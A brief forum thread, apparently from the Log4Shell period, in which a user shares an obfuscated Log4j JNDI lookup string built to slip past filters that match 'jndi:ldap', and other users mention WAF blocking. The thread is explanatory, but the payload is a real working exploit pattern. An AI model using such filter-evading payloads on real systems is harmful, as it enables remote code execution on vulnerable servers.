3 ms·
Yep, see later in the thread for how I'm avoiding that now; basically it uses a second level of interpolation so that it will only expand to the token when log4
by moyix 5y ago
Yep, see later in the thread for how I'm avoiding that now; basically it uses a second level of interpolation so that it will only expand to the token when log4j is expanding it:
${jndi:ldap://${::-t}${::-o}${::-k}${::-e}${::-n}/a}
I stole this trick from my Apache logs; people are using it to bypass dumb filters that just trigger on "jndi:ldap".
- camtarn 5y agoThe fact this apparently triggers an error in Reddit is freaking hilarious.
- lights0123 5y agoMany WAFs now block HTTP requests that will exploit it. Cloudflare (not what Reddit uses) does it for all customers automatically, for example.